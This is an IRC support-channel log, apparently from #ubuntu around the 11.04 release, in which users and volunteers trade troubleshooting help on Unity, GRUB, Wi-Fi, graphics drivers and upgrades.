[18:55] <rubydiamond> mbeierl: dhcp
[18:55] <keithtoo1> sure - I love networking problems
[18:56] <A_J> okie ty DasEi
[18:56] <STALKER> IdleOne Who are you and where you live
[18:56] <subcool> brb- lol- Thanks mbeierl; ill be back if it doesnt work
[18:56] <IdleOne> STALKER: I am IdleOne, where I live is not Ubuntu support related.
[18:56] <IdleOne> !ot > STALKER
[18:56] <ubottu> STALKER, please see my private message
[18:56] <Lopyshok> people help me ... no ssound ;((((]
[18:56] <middle> and now i reboot and nada.....
[18:57] <raven_> 11.04 how to cange to gnome 3.0?
[18:57] <popey> !gnome3 | raven_
[18:57] <ubottu> raven_: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[18:57] <Lopyshok> people help me ... no ssound ;((((]
[18:57] <middle> turn your speakers on
[18:57] <Lopyshok> how i can start
[18:57] <middle> press the button
[18:57] <IdleOne> !sound > Lopyshok
[18:57] <ubottu> Lopyshok, please see my private message
[18:58] <Wolfsherz> Lopyshok: repeating your request wont get you help faster...
[18:58] <mar7ar> hi, does anyone knows how install glge to enable webgl on ubuntu?????????????,
[18:58] <raven_> popey, possible to get my panels back with unity?
[18:58] <popey> raven_: you can logon to classic mode instead, choose that at the logon screen
[18:58] <STALKER> IdleOne I listened to you Russian where you live? just wondering
[18:58] <IdleOne> raven_: yes, logout and select Ubuntu Classic at the login screen
[18:58] <tim> Having trouble upgrading to Ubuntu 11.04.  How can I resolve error "Failed to fetch http://..." Something wicked happened resolving 'archive.canonical.com:http' (-5 No address associated with hostname)?
[18:58] <johanhar> Unity: where is the good old menu with preferences etc+
[18:58] <raven_> IdleOne, popey ok tnx
[18:58] <IdleOne> STALKER: Please stop asking where people live.
[18:59] <popey> johanhar: top right of the screen, bottom of the menu under the power button
[18:59] <IdleOne> STALKER: if you feel like chatting please join #ubuntu-offtopic
[18:59] <_cory> Yo, does anyone know how to pull back up a window that has been minimized with 11.04?  Xchat wants to open a new instance every time I click it...
[18:59] <Nickname_> lopyshok run alsamixer and check cards (sometimes uses wrong one)
[18:59] <johanhar> popey: thx
[18:59] <A_J> DasEi: sudo reboot causing normal reboot
[18:59] <DasEi> yes
[18:59] <wipmonkey> I keep hoping kubuntu will get better so I can switch to that..
[18:59] <mattyh88> hey, can't i choose a belgian azerty keyboard with an english installation for ubuntu server?
[19:00] <_cory> kubuntu seems clunky and slow for me compared to ubuntu.  I'm having some difficulties getting used to the new interface tho
[19:00] <IdleOne> wipmonkey: get the kubuntu live cd and try it out.
[19:00] <nyquist333> Ok, this is not cool. Can I safely remove zeitgeist and still have 11.04 work properly?
[19:00] <DasEi> mattyh88: can
[19:00] <johanhar> I enabled a plugin in compiz and unity collapsed :S
[19:00] <DasEi> mattyh88: sudo dpkg-reconfigure console-setup
[19:00] <wad> So I fiddled with the CompizConfig Settings Manager settings a little bit, and managed to get kind of messed up. Is there any way to reset all of these things to their defaults?
[19:01] <dob_> support?
[19:01] <IdleOne> dob_: ask
[19:01] <mattyh88> i see okay, but at installation .. i choose my location & the language i wish to install ubuntu in
[19:01] <mattyh88> but now i get a list to choose a keyboard layout from but azerty isn't listed
[19:01] <Chilaquiles> anybody here that uses clutterflow in Nautilus that can help me please?
[19:02] <scorch2> l
[19:02] <A_J> DasEi: well ? any idea's.. sudo reboot causin a normal rebbot
[19:02] <botcity> wad ccsm >> preferences >> reset
[19:02] <middle> Is there anyone here who is an expert on teh Ubuntu boot procedure?
[19:02] <dob_> i am running my system via rescue cd now when accessing my software raid devices after some time i get this error: ata1: hard resetting link .....
[19:02] <DasEi> mattyh88: the whole installation is complete with repos first, not all language fits on the cd
[19:02] <tim> No one willing or able to help?
[19:02] <Oday> how do i use "SCP" if the source is my machine's home folder, and the destination is a server's root home folder?
[19:02] <Jot> I can't set proper resolution and refresh rate, ubuntu doesn't recognize my screen so I can select screen default resolution and refresh rate
[19:02] <DasEi> A_J: what do yozu want to restart ? x ?
[19:02] <wad> botcity: Thanks!
[19:03] <demlasjr> hello. I need some help if somebody can help me please. I'm trying to connect to my wireless network but I can't make it working with WPA2 Personal. Please help
[19:03] <dob_> after a restart it sometimes works and sometimes not
[19:03] <A_J> umm, the termminal
[19:03] <Aer> Hi, just have a quick question if no one minds :) I dual boot Ubuntu 10.4 with Windows XP and from all the updates my grub menu has got quite long now lol
[19:03] <Aer> is there an easy way to clean up my grub menu and remove old kernels I no longer need to save space and shorten the grub list ?
[19:03] <gabriel___> too bad it would be tiring and take a while to take screenshots of my compiz settings and send them to you. There is need of a way to save a compiz profile and include extensions like emerald
[19:03] <mersault> Anyone tried to get Natty to install inside of a Xen HVM domU? I'm having problems wherein it can't find the NIC or the HD, but with 10.04 the same config works fine.
[19:03] <DasEi> A_J: close and reopen ? makes no sense, or the desktop (aka x ?)
[19:04] <Jot> can anybody here help me? I have been looking for solution for 2 days, I don't even wanna know how long it takes to set more advanced options ...
[19:04] <middle> nvm i googl-fe'd it
[19:04] <darkargon> hello
[19:04] <gabriel___> sry, that last was in response to <johanhar> I enabled a plugin in compiz and unity collapsed :S
[19:04] <Nickname_> WPA  can be issue with some wireless,  test without security then wep   if ok the software issue
[19:04] <_cory> Jot: what is your problem?
[19:04] <zvacet> Aer: in synaptic search box type linux-image and remove these with lower number it is good to have 2 kernels just in case
[19:04] <gabriel___> hello dark inert gass
[19:05] <ahayzen> Hi upgrading from 10.10 to 11.04 via LiveCD .. all going well..but now it has stopped at 'Restoring Previously Installed Packages' ... there is no activity on the HDD or CD ..but the network like does seem to be active .. is this an issue or do i just have to wait???
[19:05] <demlasjr> somebody can help me please ? :)
[19:05] <Aer> i already tried that zvacet :s then i ran soemthign like "sudo update-grub2"
[19:05] <Aer> and restarted and nothing changed :(
[19:05] <_cory> demlasjr: Try asking your question first
[19:05] <Jot> _cory: I can't select default screen resolution and refresh rate in x server nvidia settings
[19:05] <dob_> can somebody help me?
[19:05] <botcity> gabriel___, can you access ccsm
[19:05] <A_J> DasEi: u said ksplice will not make me reboot that much.. how do i do a hot reboot. cause sudo reboot is a normal reboot
[19:05] <demlasjr> _cory I already asked :) I need some help if somebody can help me please. I'm trying to connect to my wireless network but I can't make it working with WPA2 Personal. Please help
[19:05] <Froq> HELLO!!! I am new here.
[19:05] <bp0> how do I remove ubuntu one?
[19:06] <gabriel___> don't even know what it is... botcity
[19:06] <_cory> jot: so you have proprietary nvidia drivers installed?
[19:06] <Nickname_> demlasjr WPA  can be issue with some wireless,  test without security then wep   if ok the software issue
[19:06] <Aer> should i not use "sudo update-grub2" after removeing old kernels ?
[19:06] <zvacet> Aer: if you removed kernels it must be change in grub command is sudo update-grub
[19:06] <Jot> _cory: max res and refresh rate I can set is 1152x864 60Hz
[19:06] <Dr_Willis> Oday:  i always have to google for scp examples.  its somthing liek scp user@host:/home/username otheruser@otherhost:/path/to/go
[19:06] <_cory> demlasjr: ah sorry I missed it.  What type of error are you getting?
[19:06] <Aer> ok thanks
[19:06] <darkargon> i also upgraded from 10.10 to 11.04 and now my internet connections is very very slow, can someone help me?
[19:06] <Aer> ill try it now
[19:06] <Jot> _cory: screen default is 75Hz 1280x1024
[19:06] <sec_goat> is the a command from terminal to see network activity on ubuntu 10.04
[19:06] <gabriel___> botcity pm me k this is confusing for me... thanks
[19:06] <Nickname_> I have same problem with a couple of wifi stcks, where another will work
[19:07] <JediMaster> hi guys, since upgrading to natty from maverick my dns server has stopped working, I'm running maradns, which runs fine from the command line but the /etc/init.d/maradns script produces no output at all (and returns 0 from $?) yet it doesn't run, nothing at all in syslog, any ideas? (Yes, I've checked there's no /etc/init/maradns.conf file)
[19:07] <Dr_Willis> Aer:  i think grub gets updated automatically after you remove them.
[19:07] <Jot> _cory: yes I have nvidia drivers installed
[19:07] <_cory> jot: ah so ubuntu is outputting a higher res then your monitors will display?
[19:07] <IceTrAiN> Hi folks..  is there anywhere else that Enable3Button for mouse is listed?? It's not located in my xorg.conf
[19:07] <demlasjr> _cory: No error, it's like I'm typing the wrong password. the network was hidden and I changed it to visible, but same problem. It's a problem as Nickname_ said ?
[19:07] <Aer> hmm ok
[19:07] <_raven_> how to record sound card output?
[19:07] <DasEi> A_J: once you set up ksplice properly, there is no more reboot needed for kernelupdates, a reboot is a reboot, cold would mean "pull the powerline" (don't do that)
[19:07] <Aer> ill give it another try then
[19:07] <johanhar> I cant configure the launcher. System settings -> launcher : gives only a little popup box where to point my mouse when to open it
[19:07] <mordof> great.. emesene no longer shows up in Unity - is there a way to change that?
[19:07] <Jot> _cory: nope, opposite
[19:08] <A_J> DasEi: how do i set up ksplice
[19:08] <_Neytiri_> is there a way i can disable the history -c command so users cant clear there history
[19:08] <geekyogi> I did a foolish thing.. I installed linux kernel of server on desktop.. and now I don't even get the login screen
[19:08] <nastjuid> I switched my desktop switching method to Desktop Cube, and chose yes to enable opengl, and the other windows that popped up, but I"ve lost my window borders and can no longer move or resize windows. Setting things back in ccsm does not fix this. any ideas?
[19:08] <Dr_Willis> _Neytiri_:  proberly not. they could always just delete the .history file.
[19:08] <botcity> compizconfig settings manager in ubuntu software centre which manager are you using ?
[19:08] <geekyogi> any suggesions, to start using the old kernel
[19:08] <_Neytiri_> no i have that append only
[19:08] <_cory> demlasjr: Yeah I've had similar issues in the past.  I can't remember what I did to fix it tho lol.  I want to say I tried changing to a different type of security, have you tried that?  Or would it be too big of a hassle for the other users?
[19:08] <Jot> _cory: I used to work on 1280x1024, 80 Hz on windows with this screen
[19:08] <nastjuid> botcity: was that to me?
[19:09] <DasEi> A_J: http://www.ksplice.com/uptrack/using
[19:09] <mordof> i took emesene off of unity, but i want it to show again - anyone know how to re-enable that?
[19:09] <botcity> nastjuid,  no sorry
[19:09] <Dr_Willis> _Neytiri_:  theres a limit to that size of the file. they could just write till its hit its limit i guess.. I dont see the point in this task really...
[19:09] <mordof> even when i open it as a task, it's not showing anymore
[19:09] <_cory> jot: have you tried setting your res to auto?
[19:09] <engammalsko> My update manager froze when trying to upgrade to 11.04
[19:09] <demlasjr> _cory I can try it. Maybe WPA will be ok....I don't want to change to WEP because I have some which will love to use my network :D
[19:09] <Jot> _cory: sure, auto res is 1024x764
[19:10] <Jot> _cory: ubuntu doesn't recognize my screen
[19:10] <_cory> demlasjr: Yea try that and see if that works
[19:10] <zvacet> geekyogi:  install it from synaptic and boot in it when you see grub
[19:10] <Aer> ok i just removed the older kernels is there a command I can use to view my grub list without having to restart ?
[19:10] <nastjuid> ah, sweet got the defaults back
[19:10] <IceTrAiN> Hi folks..  is there anywhere else that Enable3Button for mouse is listed?? It's not located in my xorg.conf
[19:10] <popey> Aer: sudo update-grub should list them
[19:11] <geekyogi> zvacet, I'm unable to get synapic
[19:11] <Aer> ok thanks
[19:11] <_cory> jot: hmm, yea the nvidia x server settings doesn't recongize mine either.  But it does detect the correct res.  What happens when you goto monitor preferences?
[19:11] <engammalsko> So, anyone knwo why update manager froze when upgrading to 11.04?
[19:11] <_cory> jot: ubuntu's monitor preferences not nvidias
[19:11] <A_J> DasEi: looks complicated will see later, thank you for all your help good nite mate
[19:11] <geekyogi> I would like to remove the newer installed kernel.. and start using the previous kernel
[19:11] <Aer> it worked thanks guys :)
[19:11] <engammalsko> Is there an alterive update?
[19:11] <DasEi> :)
[19:11] <Harkins> is it possible to reinstall to a broken system without wiping /home?
[19:11] <sernylan> Is there a way to determine what build options were used in an ubuntu package?
[19:11] <Tetsuo55> is there any way to display the wire-less connection quality in unity? gnome used to show signal strenght when hovering over the icon
[19:11] <zvacet> geekyogi:  witch version do you run and did you upgrade or it is fresh install
[19:11] <mordof> anyone know why a program that's currently open won't shwo up in unity?
[19:12] <A_J> nn all and ty DasEi
[19:12] <ChessTeach> i want to set up raid0 on my computer, but I couldn't find the option in BIOS. It is a brand new computer, do some newer computers not support RAID?
[19:12] <vheg> good evening - can i get help here? My system dosn't have a boot menue after update to 11.04
[19:12] <l8a> Good evening. I joined ubuntu from xp. All went fine, there is only one problem. I dont find something like (unter xp) the "minimal battery power","desktop" etc shemas. Have ubuntu nothing like that? My cpu getting to hot sometimes; under xp i just use "minimal battery.." shema and all goes fine, but under ubuntu I did not find something like that (to make cpu cooler (slower)).
[19:12] <Psychobudgie> mordof, I had the same issue yesterday with xchat
[19:12] <geekyogi> it was an upgrade.. everything on 11.04 was working fine.. to my mischief.. I installed kernel 2.6.38 server edition.. and now I don't even see the login screen !zvacet
[19:13] <mordof> Psychobudgie: did you manage to figure it out?
[19:13] <Tangaroa> ChessTeach: You might need to look into software RAID if you don't have a RAID controller.
[19:13] <Psychobudgie> mordof, icon dissapears and can only open it with alt-tab. Report it as a bug
[19:13] <mordof> Psychobudgie: i have several bugs to report, i don't know where to report them
[19:13] <Psychobudgie> mordof, Only fix I found was to restart unity
[19:13] <mordof> Psychobudgie: how do i do that?
[19:13] <Jot> _cory: I have an option to set 1280x1024 res in ubuntu monitor preferences but when I select it and try to apply it it says it's not possible
[19:13] <engammalsko> Hi, I can't install ubuntu 11.04 with update manager. Can anyone help me?
[19:13] <stefg> ChessTeach: you can (and should) use software raid (mdadm). the real question is: why would you want it?
[19:13] <ChessTeach> Tangaroa: do my sata hard drives need to be in consecutive slots? one is in slot 1, and the other 3
[19:13] <ChessTeach> stefg: speed
[19:13] <Psychobudgie> mordof : https://help.ubuntu.com/community/ReportingBugs
[19:14] <nit-wit> engammalsko, what is happening?
[19:14] <Psychobudgie> mordof : read that, it's pretty straight forward
[19:14] <Tangaroa> ChessTeach: I don't know. Sorry.
[19:14] <mordof> Psychobudgie: kk,, how do i restart unity?
[19:14] <engammalsko> nit-wit: My updata manager froze.
[19:14] <zvacet> geekyogi: why server kernel if you use desktop
[19:14] <l8a> is there no way to limit the cpu under ubuntu (its a mobile cpu)?
[19:14] <merlot> anyone know how to switch the default desktop from kdm to gdm?
[19:15] <nit-wit> engammalsko, could you extrapolate what froze means when how and where.
[19:15] <Psychobudgie> mordof, I just logged out and back in
[19:15] <stefg> ChessTeach: no gains to be expected. Transfer rate is nothing versus access time. This won't help. all you get is a statistically doubled risk of data loss
[19:15] <demlasjr> I think I need modem reset...brb
[19:15] <karth> unity looks terrible. gigantic icons, very blocky. anyone else see this?
[19:15] <Harkins> anyone really familiar with grub? Any idea what device.map is supposed to contain if grub whines about not "finding a GRUB drive for /dev/mapper/sda5_crypt"?
[19:15] <engammalsko> nit-wit: I turns grey and it's not responsing. So I need to kill the updata manager process.
[19:15] <Psychobudgie> mordof, https://bugs.launchpad.net/ubuntu/+source/xchat-gnome/+bug/772524
[19:15] <ubottu> Ubuntu bug 772524 in xchat-gnome (Ubuntu) "When minimising xchat or xchat-gnome the unity icon disappears." [Undecided,New]
[19:15] <engammalsko> nit-wit: Can i upgrade with shell?
[19:15] <zvacet> karth: all the time  :(
[19:16] <Psychobudgie> mordof, does that sound familiar?
[19:16] <vanguard> is there some easy way to copy data via ftp with a script (like on does with cp or rsync)
[19:16] <karth> zvacet: anything that can be done about it?
[19:16] <nit-wit> engammalsko, so your in the process of upgrading and the screen has greyed out is the copputer froze altigether
[19:16] <lgp171188> hi all, I am using gwibber in natty and added google buzz account, but the statuses aren't fetched and the timeline remains blank. Any clues?
[19:17] <stefg> ChessTeach: rather look into lvm... you can still stripe volumes over physicl disks, but the real adavntage is manageability
[19:17] <flametai1> Can somneone help me? I clicked on some house icon and now no window has a frigin bar to click on to move it around?
[19:17] <zvacet> karth: I would like to know too just decrease icon size will be good
[19:17] <flametai1> -.-||
[19:17] <engammalsko> nit-wit: Just the program forze. Not the computer.
[19:17] <vheg> no one that can help me? If i boot my system, the screen shows: "out of screen" ??
[19:17] <ChessTeach> stefg: really it won't help much? is that because i am not able to do the raid through the bios?
[19:18] <perlsyntax> How do i get a dell Truemobile 1150 to work on ubuntu 11.04 it try to connect then it deconnect for some reason?
[19:18] <nit-wit> engammalsko, have hyou downloaded the changes and it is in the install portion, or the download?
[19:18] <karth> zvacet: yeah, if it would just not try to scale that would be fine
[19:18] <DrShoggoth> so yeah,  unity sure is somthing...
[19:18] <Tangaroa> I want to temporarily switch a wireless pc from dyn to static IP. Killing dhclient also shut down the wireless connection, and something respawned the dhclient process. What is going on behind the scenes, and how do I give my computer a static IP if ifconfig & iwconfig & killall dhclient won't do it?
[19:18] <perlsyntax> anyone know how to get a Truemobile 1150 to work in ubuntu?
[19:19] <ScottONanski> How do I edit the Unity menu bar? I'm trying to drag other folders from my Home directory to it, but no dice.
[19:19] <Acriax> Hi, I'm about to install the latest Ubuntu as a virtual machine on my 64 bit windows 7 computer. Should I install the 64-bit or 32-bit version of Ubuntu? Is 64-bit as stable as 32? I'm just looking for what would be fastest and most stable.
[19:19] <perlsyntax> ?
[19:20] <Belinrahs> Acriax: 64 is as stable as 32, it's what I use, never an issue
[19:20] <zvacet> karth: I don´t know any thing about unity customization it will be nice to have some link
[19:20] <nit-wit> Acriax, try both and let us klnow.:)
[19:20] <nit-wit> *know
[19:20] <TimeDude> Ac
[19:20] <demlasjr> _cory ?
[19:20] <Acriax> Belinrahs okay thank you :)
[19:20] <perlsyntax> anyone know how to get truemobile to work in ubuntu?
[19:20] <TimeDude> 32 for windows 64 for mac
[19:20] <demlasjr> I start to reconnect and the network connection button dissapeared
[19:20] <Acriax> nit-wit I'll start out with 64-bit. :)
[19:20] <TimeDude> mac has bigger cpu
[19:20] <demlasjr> how to add it back ?
[19:20] <Toph> is the only reason one would go 64 bit is to address more ram?
[19:21] <txomon> Toph, more efficiency also
[19:21] <TimeDude> ac 64 is more powerfull but it is ram consuming
[19:21] <Mac_Weber> is there any way to install tomcat7 using apt-get?
[19:21] <stefg> ChessTeach: bios raid or (proper) mdadm raid is actually the same, only the means are different (the CPU is doing the processing anyway). Bios raid is for dumb OS's which don't have software raid, you don't need that in linux. But either way: raid0 on desktop systems isn't worth it. you pay a price for nothing. you might get a bit more transfer rate, but the real limiting factor is access...
[19:21] <stefg> ...time. consider a SSD if you are a speed junky
[19:21] <Toph> txomon,,, i see
[19:21] <perlsyntax> Does anyone know how to get a truwmobile 1150 pc card to work???
[19:21] <mayank_k> Guys, I just upgraded to 11.04 and the wireless stopped working. Can somebody please help me with this?
[19:21] <zvacet> Acriax:  no need for 64 in vm only if you can give more then 3GB ram to vm
[19:21] <nit-wit> perlsyntax, have you looked at the additional drivers in the menu?
[19:21] <Acriax> TimeDude yes I figured as much. Wonder if there even are any benefits in using 64-bit on a vm though
[19:21] <TimeDude> who here loves the terminal in mac/ubuntu
[19:22] <TimeDude> ME1
[19:22] <TimeDude> ME!
[19:22] <perlsyntax> nit-wit,You mean the hardware driver
[19:22] <perlsyntax> i try that
[19:22] <Acriax> zvacet but I have more than 3gb available for the vm :)
[19:22] <TimeDude> no terminal the app bash or shell
[19:22] <nit-wit> perlsyntax, says additional drivers in mine
[19:22] <txomon> Toph, but it is a problem for packages, most of them are done for 32 bits
[19:22] <zvacet> Acriax:  ok then get 64
[19:22] <perlsyntax> it have not been working from 9.10 ubuntu and up.
[19:22] <TimeDude> ac go to 32
[19:23] <Toph> txomon,,, till now, i have always avoided 64 bit
[19:23] <facelessloser> hi has anyone tryed to install klibido under ubuntu 11.04
[19:23] <nit-wit> perlsyntax, yeah yours sounded familiar.:)
[19:23] <thejonb> anybody else having trouble connecting to repos in maverick?
[19:23] <perlsyntax> i think it odd
[19:23] <_cory> demlasjr: Hey did that work for you?  I went afk for a min
[19:23] <Tangaroa> mayank: Anything in your dmesg? You might also need to reinstall the firmware
[19:23] <perlsyntax> nit-wit,You know how to fix it?
[19:23] <rafael> hello, I have posted the following post in ubuntuforum, can anybody help me with this matter> http://ubuntuforums.org/showthread.php?t=1743353
[19:24] <flametai1> Can somneone help me? I clicked on some house icon and now no window has a frigin bar to click on to move it around?
[19:24] <txomon> Toph, depending of what you are going to use the computer, maybe, looking forward compability, stay in 32bit
[19:24] <perlsyntax> if i am right i need the lan-ng fireware
[19:24] <Tetsuo55> help the left launcher bar wont go away
[19:24] <Tetsuo55> what can i do
[19:24] <velcroshooz> thejonb, if its just slow, its the traffic the mirrors are getting hit with since 11.04 was released.
[19:24] <stefg> ChessTeach: rather do a clever partition layout and use lvm. having /var and / on different spindles helps a lot
[19:24] <Toph> txomon,,, in what way is 64 bit more efficient?
[19:24] <mayank_k> The "enable wireless" option is dithered, how can i get it enabled
[19:24] <nit-wit> perlsyntax, what OS are you running?
[19:24] <Barsuk> Hi.
[19:24] <zvacet> thejonb: servers are hot maybe try different server
[19:24] <TimeDude> toph usally if u get a ubuntu app they are a very broad app and they probally do 64
[19:24] <Barsuk> Which video converter is the best for Ubuntu?
[19:24] <perlsyntax> ubuntu 11.04
[19:25] <karth> zvacet: installed compizconfig-settings-manager, and changed the icons from 48 to 32... not blocky anymore
[19:25] <nit-wit> perlsyntax, did you find additional drivers?
[19:25] <thejonb> :velcroshooz  that's what i figured.  tried installing 11.04 last night and hated it, so now i'm setting up 10.10 again.  can't install any software because i can't connect to repos ha
[19:25] <demlasjr> _cory it's not working :(
[19:25] <perlsyntax> i not sure what driver i need.
[19:25] <karth> zvacet: now I just have to figure out how to get the fonts to not look like... uh. crap.
[19:25] <stefg> Barsuk: i'm tempted to give you the !best factoid, but in this particular case handbrake wins hands down
[19:25] <cbx333> hey guys
[19:26] <Barsuk> Which video converter is the best for Ubuntu?
[19:26] <cbx333> where did handbrake go :(
[19:26] <stefg> !best | barsuk
[19:26] <ubottu> barsuk: Usually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.
[19:26] <txomon> Toph, in every way, the only way it is not, is when you dont have a program for 64 bits (few ones, but could be)
[19:26] <nit-wit> perlsyntax, additional drivers would tell you if one is found to be available for install
[19:26] <zvacet> karth: so I have to use compiz for that?
[19:26] <TimeDude> lol
[19:26] <TimeDude> i just reallized
[19:26] <Barsuk> ubottu, so which converter are you using?
[19:26] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[19:26] <TimeDude> i can acsess anyones computer
[19:26] <perlsyntax> But what driver do i neeed that question.
[19:26] <Toph> txomon,,, ok,, i didn't realize that
[19:26] <cpgeek> Upgrading to 11.04 broke my ability to compile the vmmon vmware module for vmware server. Any ideas?
[19:27] <LAcan> cpgeek, ya go back to 10.10 :)
[19:27] <demlasjr> can somebody help me to make my wireless network functional please ?
[19:27] <LAcan> demlasjr, whats up?
[19:27] <perlsyntax> nit-wit any ideas
[19:27] <zvacet> cpgeek: probably linux-headers
[19:27] <botcity> Tangaroa, nm-applet will restart services you stop !
[19:27] <velcroshooz> cpgeek, vmware usually has to put out updates for new kernels when they are released - my guess is they have not addressed the kernel in 11.04
[19:28] <demlasjr> I can't conenct to my network, I tried with WPA and WPa2...it's like when the key is wrong :( LAcan
[19:28] <thejonb> so someone suggested i change servers.  not sure how to do that.
[19:28] <karth> zvacet: compiz is required for unity. you have to go into the settings manager and you can change the icons to their actual size
[19:28] <LAcan> demlasjr, i think u have to use the hex key and not the plaintext pw
[19:28] <nit-wit> perlsyntax, yes and it starts with you actually reading what I have asked and answering it.:)
[19:28] <Belinrahs> I hate to ask but would someone look at my forum post and maybe make a suggestion? It's WiFi related
[19:28] <zvacet> karth : just a sec
[19:28] <demlasjr> LAcan that's one that I didn't tried yet :)
[19:28] <nit-wit> Belinrahs, link
[19:28] <karth> zvacet: apt-get install compizconfig-settings-manager, run ccsm in terminal, in the filter, search for unity, go to experimental, and change launcher icon size from 48 to 32
[19:29] <perlsyntax> i did read it:)
[19:29] <lgp171188> Hi, I am using Ubuntu 11.04. I have nvidia proprietary drivers enabled and I use classic gnome. I have an issue where some times while placing the mouse over a button and trying to click it, it doesn't work as the focus is not correctly on the button. Has anyone faced such an issue?
[19:29] <Belinrahs> nit-wit: http://ubuntuforums.org/showthread.php?t=1742650
[19:29] <varunvyas> HI all
[19:29] <nit-wit> perlsyntax, well read it again it is a question?
[19:29] <subcool_> can someone help me with y /usr/bin/x11vnc -forever -rfbport 5900 -rfbauth ~/.vnc/x11vnc.pass -o ~/.vnc/x11vnc.log -loopbg -display :0 creates a loop
[19:29] <demlasjr> LAcan so I need to switch the password to hex, but then I need to add it normally or editing the file
[19:30] <perlsyntax> but how do i do that
[19:30] <demlasjr> LAcan I want to tell you that I have hex just for WEP, not WPA
[19:31] <perlsyntax> i told you i try that no drivers came up.
[19:31] <perlsyntax> that why i asking the question
[19:31] <nit-wit> perlsyntax, I dont have natty open right now but in the panel is a squarq with a + sign click it and search
[19:31] <varunvyas> when I upgreading to 11.04, it stuck at insalling upgrd
[19:31] <geekyogi> solved by modifyting the grub.cfg
[19:31] <perlsyntax> i give up
[19:32] <awhitehatter> the global menu is a little too OSX-ish, anyone else feel the same?
[19:32] <rafael> dear ralink: I have read your post and cannot help you
[19:32] <FFForever> Is there a simple way to kill unity and get gnome back?
[19:32] <nikolai`> FFForever, At the login screen, Select Ubuntu (Classic)
[19:32] <awhitehatter> FFForever, you can login with it
[19:32] <thejonb> i'm having trouble connecting to repos in maverick because of traffic i guess.  can anybody tell me how to change servers?
[19:32] <nikolai`> To set this as the login default, change the system menu
[19:32] <Nickname_> logout and change :)
[19:32] <FFForever> niko, O.o! Thanks :)
[19:32] <Belinrahs> nit-wit: I'm still on IRC so if you don't want to reply to the thread I can see you here
[19:32] <FFForever> unity is really nice, but it has some display issues with my screen
[19:32] <RussellAlan> what is the command in terminal to renamel a drive?
[19:32] <cormyn> I'm willing to give Unity a chance, but how do I add my toolbar widgets again, like my stock ticker and system monitoring?
[19:32] <RussellAlan> a media driver
[19:33] <rafael> will you please read mine, if you can help me: http://ubuntuforums.org/showthread.php?t=1743353
[19:33] <mayank_k> Can somebody please help me with my wireless network issue?
[19:33] <Tangaroa> botcity: thanks
[19:33] <alien-007> i can rip a movie at 37x speed but i can only burn at 2x,,why is that ?
[19:33] <sta11> I have a laptop with 2.0Ghz AMD and 1GB RAM, would you guys recommend me Ubuntu 11.04 for the laptop? I heard it slower than previous versions of Ubuntu
[19:34] <alien-007> no matter what program i use
[19:34] <mayank_k> It's not recognizing the networks after I upgraded to ubuntu 11.04
[19:34] <Tangaroa> alien: sounds like a hardware limitation. Reading and writing are different operations
[19:34] <FFForever> Thanks niko! I am in gnome again
[19:34] <nit-wit> Belinrahs, I looked I can't really tell what might be causing a freeze up sorry.
[19:34] <thejonb> stall:  i didn't find it to be slower.  it's just different.  if Unity slows you down, you can always do Unity 2-D or log in under the Ubuntu classic desktop
[19:34] <Belinrahs> nit-wit: Thank you all the same for looking! :)
[19:35] <Nickname_> <mayank_k>   readup on backport drivers
[19:35] <akashm1990> does anyone here play revenge of the titans?
[19:35] <ohsix> sta11: did you hear that from someone with your exact machine, and did he tell you all the circumstances that made it slower? if not, you weren't told much, and should just see for yourself
[19:35] <akashm1990> need some help installing it
[19:35] <alien-007> Tangaroa: ok thanks,,i guess i change to ligthscribe
[19:35] <alternate1> Yesterday 11.04 became offically stable correct? so why no alternate iso beyond April 26th
[19:35] <axl3> guys, check out: https://bugs.launchpad.net/unity/+bug/773182    any help appreciated
[19:35] <ubottu> Ubuntu bug 773182 in unity "Unity won't work with nVidia Gefroce 410M" [Undecided,New]
[19:36] <FreeTheBee> akashm1990 I have it installed
[19:36] <akashm1990> FreeTheBee, PM?
[19:36] <FreeTheBee> haven't played more than a little bit
[19:36] <FreeTheBee> sure
[19:36] <sta11> thejonb About the 2D option, do I need to download Unity 2D manually after I install Ubuntu 11.04, or it is there by default?
[19:37] <user82> just 4 interest: is the natty boot time also significantly shorter than maverick ones on your computers
[19:37] <mattyh88> how can i change keyboard layout pls?
[19:37] <mattyh88> in ubuntu server
[19:37] <alternate1> why no ppc alternate after april 26th? every other architecture is up to date
[19:37] <DasEi> user82: yes, but the major jump was lucid
[19:37] <DasEi> (upstart)
[19:37] <RussellAlan> please someone help, how do i rename the sdcard /media
[19:37] <thejonb> stall:  you'll have to install it manually.  i don't know off hand how to do that, but a simple search on ubuntu forums should point you in the right direction
[19:38] <user82> okay..did not start with below lucid so i cannot tell but i read it
[19:38] <thejonb> ubuntuforums.org
[19:38] <arnab> what do i do to get a kde desktop? do i need to install kubuntu over the ubuntu?
[19:38] <user82> but for my netbook it made ~2/3 of the old time
[19:38] <^Spider^> hi!
[19:38] <Nickname_> just kde
[19:38] <DasEi> user82: the old sysinit was improved , so there is more in parallel going on at boot, that did the trick
[19:38] <axl3> arnab: kubuntu.sedktop
[19:39] <axl3> arnab: kubuntu-desktop
[19:39] <linuxtech> It seems ppa.launchpad.net not doing well under the load today.
[19:39] <tibrox> I'm using natty and mysql server can't start.  How do I fix this?
[19:39] <mattyh88> i'm using this sudo dpkg-reconfigure console-setup but I can't really change keyboard layout .. it's still qwerty .. and i need azerty
[19:39] <DasEi> user82: consider least lucid, if that's a factor for you, stable, less bugs, long supported
[19:39] <jester7> Hello all.  I have been using Natty Since the last alpha and just saw that the overlay scrollbars are now default, but not for me.  How do I turn this on?
[19:39] <thejonb> linuxtech: tell me about it.  i've been trying to install something via ppa for the last hour and i can't connect
[19:39] <arnab> ahh thanks!
[19:39] <tripelb> good morning.. just barely PDT. I've got basic ubuntu understanding problems.
[19:40] <tripelb> jester7 Natty is in another channel
[19:40] <ipo> hi , please help me!
[19:40] <jester7> ...I don't think it is
[19:40] <ipo> :(
[19:40] <user82> DasEi, i set up my computer 3 times in 5 months now..lts is not a big deal for a small surfing only machine
[19:40] <KrisDouglas> I have had to switch to the IFL mirrors
[19:40] <Pumpkin-> Natty is here now. It's been released.
[19:40] <arnab> is there any way to figure out how much space a particular package (with all its dependencies) will take up?
